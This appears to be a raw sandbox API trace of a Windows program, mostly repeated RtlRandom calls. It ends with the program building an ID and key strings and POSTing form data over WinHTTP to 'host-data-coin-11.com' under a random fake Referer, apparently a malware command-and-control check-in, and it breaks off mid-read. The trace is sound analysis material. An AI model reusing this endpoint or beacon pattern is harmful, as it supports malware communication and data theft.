0xb6da0947 [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe538d98f [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x79cc2535 [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdc98e7e8 [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcdb62b05 [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcc1776e9 [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8acd838c [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x163468b8 [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x58cbf7df [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x16b5f124 [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9303225f [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4b3b7121 [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x92e6c8df [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7ad51b55 [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1b820238 [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe1953cc9 [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe2bd9958 [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x51a0a384 [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x99ccb699 [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb31a9cf0 [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc7ce9ef7 [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf5ec9da [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x84a953b1 [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x98ac4dca [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x160ba2ca [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe4004d97 [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc7a60b0e [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x69677141 [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4b461c86 [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x17c5fc1b [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xda932511 [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x42c3f4e7 [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x292dc5 [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbec8deaf [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x42e613c6 [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4bcb805b [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x733845e0 [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x50a37317 [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xeb8084ed [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x69442268 [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x893e73fe [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe86e7147 [0193.422] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd9c2883c [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8c1ba5ef [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x12797f8f [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe9789d [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1dcab6d8 [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x35f203fb [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe8df9010 [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa0dbfebd [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfcd65baf [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x48559da2 [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc5c33ca9 [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x34256054 [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdfef8d7f [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8f432bf0 [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x50470ea7 [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xeea069b2 [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x85990489 [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x29606975 [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd1720147 [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x892b32aa [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbdc1fb6f [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xea157525 [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe78c4646 [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x50b1e812 [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb23a44b [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc79523d2 [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xea5cd882 [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc083998e [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x52fe6659 [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9f6960b8 [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x43a37507 [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x82e1fb36 [0193.423] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8f3e611c [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xaee852f8 [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x325bf170 [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb845fd76 [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x728cd7d2 [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9055885c [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf613d237 [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x987fe126 [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbf2554f0 [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdcc1d16e [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf45e9cb8 [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb16c8aa2 [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8faa3867 [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe147a79c [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6088bf68 [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x83bae7a [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x13b3db47 [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd5fd167 [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x113d2418 [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc47e5629 [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4e5e25c0 [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9758fbfd [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa5e16730 [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6874cef6 [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xba56f546 [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3b4a9687 [0193.424] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb52d5d52 [0193.425] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6fa138c5 [0193.425] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb769a238 [0193.425] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1187ca4a [0193.425] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x67aec8db [0193.425] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x23467f4b [0193.425] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf74f30a6 [0193.425] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x12983f6c [0193.425] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x246c0e38 [0193.425] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5b8fce12 [0193.425] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x45df94f8 [0193.425] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd5b5fd3b [0193.425] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdbca7086 [0193.425] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcde0536c [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9e4706b4 [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x99819533 [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfacff14e [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb6926bca [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf40d4b5a [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x26931526 [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc6ae6057 [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x15450877 [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8483cba4 [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5f3cf38f [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x72b93135 [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2ee49868 [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x34f231a8 [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9b23da6b [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf7a82728 [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xddfbefa3 [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5738d287 [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x641b2f2d [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe4d21707 [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x17d3888d [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8456b7a8 [0193.426] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8eb7674e [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfbe5ce39 [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x54a10239 [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8001d6b0 [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf1ececd7 [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x168a7803 [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x10004734 [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb4d63674 [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1222c7b2 [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2bc43b1c [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfa71aef8 [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xedf189ed [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x660ab85b [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1c2e9a15 [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1097478f [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xda0fde90 [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9796de99 [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x683bb23d [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf4b63c99 [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2e6af531 [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x63590c38 [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb2c347d9 [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc76e1be [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xec690555 [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xda9ef615 [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x91cb5b6d [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc0c78534 [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x82bb4a34 [0193.427] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x990421f8 [0193.428] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa72d6e76 [0193.428] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5ec76f79 [0193.428] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1802dbde [0193.428] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x32540509 [0193.428] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xda891876 [0193.428] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x70f5bc42 [0193.428] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb1e78fd9 [0193.428] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1d707bce [0193.428] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5d069a8e [0193.428] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x609c37b2 [0193.428] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x625db3b3 [0193.428] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9e266696 [0193.428] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x676658df [0193.428] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x33b22aa7 [0193.428] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe377e8f0 [0193.428] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbe4e2637 [0193.428] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x55fad182 [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc59af1a5 [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9235b7a3 [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x78c963d6 [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xac7d4886 [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x845fc7 [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xeca36f9e [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x662b3f4d [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x54473412 [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x25563aca [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1ad2330f [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x76f39b88 [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x65398328 [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe4f9c112 [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc8a65cfd [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x82af89bd [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x72af076a [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4e0376f5 [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb6bb5acd [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x84f787fd [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x36ed3989 [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1ff468a5 [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4bd7e066 [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf24ba15b [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcf61fe1e [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa7c7820a [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb01ebfcf [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x638edc92 [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x11180dce [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x50e5bfa6 [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x808ab1e5 [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe70f0354 [0193.429] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x10fd7372 [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc4f44193 [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x61e0ddb5 [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6f14c147 [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xadadea39 [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5eea0171 [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa09da43f [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb740f3bd [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x28cb4c85 [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7b65781d [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe1126e0 [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf1d4c2e7 [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xde118c5 [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb2546db0 [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4a6f13b4 [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4addc130 [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7725d80b [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2416f30 [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x58e7925a [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9ec9951a [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc4909cd1 [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x48e5f0ce [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7236964c [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x27b399ae [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5618fc91 [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1b954167 [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x893b105 [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2368d912 [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xff4de8a1 [0193.430] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3edaf032 [0193.431] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x154) returned 0x9145fd0 [0193.431] lstrcatA (in: lpString1="", lpString2="FE7F15060B875FB9FB2A49F08D5D03120C287F38" | out: lpString1="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned="FE7F15060B875FB9FB2A49F08D5D03120C287F38" [0193.431] lstrcatA (in: lpString1="", lpString2="XC64ZB" | out: lpString1="XC64ZB") returned="XC64ZB" [0193.431] lstrcatA (in: lpString1="", lpString2="pub1" | out: lpString1="pub1") returned="pub1" [0193.431] lstrcatA (in: lpString1="", lpString2="W?sLhH0lv+NV/A,?HXpx5D;wnONQTQ76],spz\"L(oPM6xYy@s@RNkH!dkb]5ivB" | out: lpString1="W?sLhH0lv+NV/A,?HXpx5D;wnONQTQ76],spz\"L(oPM6xYy@s@RNkH!dkb]5ivB") returned="W?sLhH0lv+NV/A,?HXpx5D;wnONQTQ76],spz\"L(oPM6xYy@s@RNkH!dkb]5ivB" [0193.431] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10c) returned 0x9146130 [0193.431] lstrlenA (lpString="http://host-data-coin-11.com/") returned 29 [0193.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9141840, cbMultiByte=30, lpWideCharStr=0x9146130, cchWideChar=60 | out: lpWideCharStr="http://host-data-coin-11.com/") returned 30 [0193.431] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1004fae8 | out: pProxyConfig=0x1004fae8) returned 1 [0193.541] WinHttpOpen (pszAgentW="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x86555e0 [0193.542] WinHttpCrackUrl (in: pwszUrl="http://host-data-coin-11.com/", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x1004fba0 | out: lpUrlComponents=0x1004fba0) returned 1 [0193.542] WinHttpConnect (hSession=0x86555e0, pswzServerName="host-data-coin-11.com", nServerPort=0x50, dwReserved=0x0) returned 0x86aae60 [0193.542] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x9146250 [0193.542] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x68) returned 0x9146270 [0193.542] WinHttpOpenRequest (hConnect=0x86aae60, pwszVerb="POST", pwszObjectName="/", pwszVersion=0x0, pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x57aa80 [0193.542] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x4e) returned 0x91462e0 [0193.542] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10d) returned 0x9146340 [0193.542] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb8f05db2 [0193.542] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x9146460 [0193.542] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x17) returned 0x9146480 [0193.542] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7c090b17 [0193.542] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdbb199e8 [0193.542] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xce3fd53c [0193.543] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8a11293d [0193.543] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4ba8a9e [0193.543] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x26a35727 [0193.543] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9783d58 [0193.543] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x130227ee [0193.543] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8f1530af [0193.543] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x54e67cf2 [0193.543] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfde1ecbb [0193.543] wsprintfW (in: param_1=0x9146340, param_2="Accept: */*\r\nReferer: http://%S%s/" | out: param_1="Accept: */*\r\nReferer: http://bccvmsxhkb.net/") returned 44 [0193.543] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9146480) returned 0x17 [0193.543] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9146480) returned 1 [0193.543] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9146460) returned 0x12 [0193.543] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9146460) returned 1 [0193.543] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91462e0) returned 0x4e [0193.544] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91462e0) returned 1 [0193.544] WinHttpAddRequestHeaders (hRequest=0x57aa80, pwszHeaders="Accept: */*\r\nReferer: http://bccvmsxhkb.net/", dwHeadersLength=0xffffffff, dwModifiers=0x20000000) returned 1 [0193.544] WinHttpSendRequest (hRequest=0x57aa80, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x0, lpOptional=0x9145fd0*, dwOptionalLength=0x14b, dwTotalLength=0x14b, dwContext=0x0) returned 1 [0194.648] WinHttpReceiveResponse (hRequest=0x57aa80, lpReserved=0x0) returned 1 [0194.648] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x2800) returned 0x9146460 [0194.648] WinHttpReadData (in: hRequest=0x57aa80, lpBuffer=0x9146460, dwNumberOfBytesToRead=0x2800, 